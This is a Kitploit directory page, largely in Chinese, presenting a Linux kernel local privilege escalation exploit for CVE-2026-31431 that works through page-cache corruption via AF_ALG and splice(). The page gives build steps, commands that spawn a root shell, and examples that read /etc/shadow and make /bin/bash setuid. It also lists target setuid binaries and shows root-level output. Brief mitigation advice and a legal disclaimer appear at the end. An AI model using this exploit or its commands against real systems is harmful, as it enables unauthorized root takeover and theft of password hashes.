Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
copy-fail_LPE_Interactive — Exploit for CVE-2026-31431, a Linux kernel page cache corruption vulnerability, providing interactive root shell and non-interactive command execution via AF_ALG and splice() chains. | Kitploit
工具/GitHubGitHub/h1d3r/copy-fail_lpe_interactive
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubh1d3r/copy-fail_lpe_interactive

copy-fail_LPE_Interactive

Exploit for CVE-2026-31431, a Linux kernel page cache corruption vulnerability, providing interactive root shell and non-interactive command execution via AF_ALG and splice() chains.

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
3个月前尚未审核

CVE-2026-31431 Copy Fail Exploit

Linux 内核 page cache 污染漏洞利用工具,支持非交互式命令执行。

漏洞概述

CVE-2026-31431 是 Linux 内核中的一个逻辑缺陷漏洞,存在于 authencesn AEAD 算法实现中。通过 AF_ALG 和 splice() 系统调用链,攻击者可以向任意可读文件的 page cache 写入 4 字节数据。

影响范围:

  • Linux 内核 4.14+ (2017年 - 2026年4月)
  • 几乎所有主流发行版:Ubuntu、Debian、CentOS、RHEL、Amazon Linux 等

漏洞特点:

  • 100% 可靠,无需竞态条件
  • 无需内核偏移量计算
  • 同一个二进制文件适用于所有发行版
  • 不修改磁盘文件,仅污染内存缓存

文件说明

root@kitploit:~
.
├── copyfail_universal.c    # 主POC源码(静态编译,无libc依赖)
├── copyfail_universal      # 编译后的二进制文件
├── run_cmd.sh              # 非交互式执行wrapper脚本
├── Makefile                # 编译脚本
└── README.md               # 本文档

编译

root@kitploit:~
# 方法1: 使用gcc和ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal

# 方法2: 使用Makefile
make

使用方法

交互式 Root Shell

root@kitploit:~
./copyfail_universal

非交互式命令执行

root@kitploit:~
# 方法1: 使用wrapper脚本(推荐)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"

# 方法2: 通过管道
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal

# 方法3: 使用环境变量
CMD='whoami' ./copyfail_universal

指定其他 setuid 目标

root@kitploit:~
# 默认目标是 /usr/bin/su
# 可以通过修改源码中的 path 变量指定其他目标

# 常见可用目标:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec

自动恢复

漏洞仅修改 page cache,不修改磁盘文件。执行以下命令可恢复:

root@kitploit:~
sync; echo 3 > /proc/sys/vm/drop_caches

run_cmd.sh 脚本已内置自动恢复功能。

示例输出

root@kitploit:~
$ ./run_cmd.sh "id"

[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...

uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)

受影响的 setuid 程序

查找系统上所有 setuid 程序:

root@kitploit:~
find / -perm -4000 -user root -type f 2>/dev/null

修复建议

  1. 更新内核 - 升级到包含补丁 a664bf3d603d 的内核版本

  2. 临时缓解 - 禁用 algif_aead 模块:

    root@kitploit:~
    echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
    rmmod algif_aead 2>/dev/null || true
    
  3. 容器环境 - 使用 seccomp 阻止 AF_ALG socket 创建

技术细节

  • 漏洞类型: Page cache 写入越界
  • 根本原因: authencesn 使用目标缓冲区作为临时存储,写入超出边界的 4 字节
  • 利用方式: 通过 splice() 将 page cache 页面传入 crypto 子系统
  • 写入能力: 每次操作可写入 4 字节到任意可读文件的 page cache

免责声明

本工具仅供安全研究和授权测试使用。使用本工具攻击未授权系统属于违法行为。使用者需自行承担所有法律责任。

参考资料

  • CVE-2026-31431 Write-up
  • Xint Blog - Copy Fail
  • GitHub - 官方POC
下载工具
程序路径可用性
su/usr/bin/su✅ 默认
passwd/usr/bin/passwd✅
chsh/usr/bin/chsh✅
chfn/usr/bin/chfn✅
gpasswd/usr/bin/gpasswd✅
pkexec/usr/bin/pkexec✅
mount/bin/mount✅
umount/bin/umount✅